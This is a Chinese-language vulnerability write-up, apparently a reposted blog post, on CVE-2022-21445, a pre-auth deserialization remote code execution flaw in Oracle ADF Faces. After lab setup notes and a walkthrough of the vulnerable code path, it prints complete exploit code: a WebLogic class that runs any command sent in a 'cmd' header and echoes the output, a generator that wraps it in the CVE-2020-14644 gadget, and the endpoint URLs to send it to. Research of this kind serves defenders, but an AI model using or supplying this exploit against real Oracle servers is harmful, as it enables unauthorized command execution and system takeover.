CVE-2022-21445 Oracle ADF Faces 反序列化RCE
2022-6-29 16:19:41 Author: y4er.com(查看原文) 阅读量:96 收藏

安装Oracle19c,安装的时候这里要选AL32UTF8

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/1.png

接下来会卡在42%,多等一会就好了。

安装fmw_12.2.1.3.0_infrastructure.jar 下一步下一步就行

然后安装bi fmw_12.2.1.4.0_bi_windows64_Disk1 下一步下一步就行了

然后运行rcu.bat

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/2.png

创建完bi所用的数据库之后运行C:\Oracle\Middleware\Oracle_Home\bi\bin\config.cmd配置bi

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/3.png

然后就安装完成了。

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/4.png

修改C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bi\bin\setDomainEnv.cmd 338行

然后重启Oracle BI的服务,会在8453端口监听debug

在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bi\servers\AdminServer\tmp_WL_user\em\fw8wi5\war\WEB-INF\web.xml中 em对应Oracle BI的http://172.16.16.132:9500/em/ 管理界面

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/5.png

web.xml中定义了几个映射关系

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/6.png

在org.apache.myfaces.trinidad.webapp.ResourceServlet#doGet中

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/7.png

根据request获取对应的ResourceLoader和resourcePath

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/8.png

_getResourceLoader维护了一个ConcurrentMap存放servletPath和loader的映射关系。

在oracle.adfinternal.view.resource.rich.RenderKitResourceLoader中向map中注册了对应关系

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/9.png

当路由为/em/afr/foo/remote/payload时,会由RemoteApplicationResourceLoader作为doGet中的loader,调用其oracle.adfinternal.view.resource.rich.RemoteApplicationResourceLoader#findResource函数

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/10.png

返回了一个自定义的协议remote和协议处理器RAStreamHandler

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/11.png

RAStreamHandler的openConnection返回一个RAURLConnection实例对象,在其构造函数中

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/12.png

调用_getPathBean

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/13.png

截取到第一个/然后进入oracle.adfinternal.view.rich.remote.resources.URLEncoderPathBean#getInstanceFromString

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/14.png

不断跟进之后就是readObject

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/15.png

说明我们可以通过/em/afr/foo/remote/{encode payload}/的形式来反序列化。

gadget可以用CVE-2020-14644,这里放payload。

回显执行命令

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package com.tangosol.internal.util.invoke.lambda;

import com.tangosol.internal.util.invoke.AbstractRemotable;

public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
    public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
        try {
            weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
            java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            Object obj = field.get(adapter);
            weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
            String cmd = req.getHeader("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                Process exec;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
                } else {
                    exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
                }
                res.getServletOutputStream().clearBuffer();
                res.getServletOutputStream().writeStream(exec.getInputStream());
                res.getServletOutputStream().flush();
                res.getServletOutputStream().close();
                res.flushBuffer();
            }
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
}

生成payload

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package com.example.miracle;

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import oracle.adf.view.rich.util.SerializationUtils;

import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception {
        RemoteConstructor remoteConstructor = new RemoteConstructor(
                new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("E:\\tools\\code\\Miracle\\target\\classes\\com\\tangosol\\internal\\util\\invoke\\lambda\\LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
        );
        String s = SerializationUtils.toURLEncodedString(remoteConstructor);
        System.out.println(s);
    }
}

回显复现截图

http://172.16.16.132:9500/em/afr/foo/remote/

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/16.png

http://172.16.16.132:9502/bicomposer/afr/foo/remote/

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/17.png

peterjson和jang在10.3.6上用的是ReflectionExtractor包RemoteInvocation的套娃然后调用ShellSession.eval来rce,记录一下,不做深入了,就是几个cve的综合使用。

打poc时需要注意回显类的类名需要和目标版本对的上才行,具体看kingkk师傅的《CVE-2020-14644分析与gadget的一些思考》

也就是在这个地方com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)

https://y4er.com/img/uploads/CVE-2022-21445-Oracle-ADF-Faces-Deserialization-RCE/18.png

  1. https://peterjson.medium.com/miracle-one-vulnerability-to-rule-them-all-c3aed9edeea2
  2. https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


文章来源: https://y4er.com/posts/cve-2022-21445-oracle-adf-faces-deserialization-rce/
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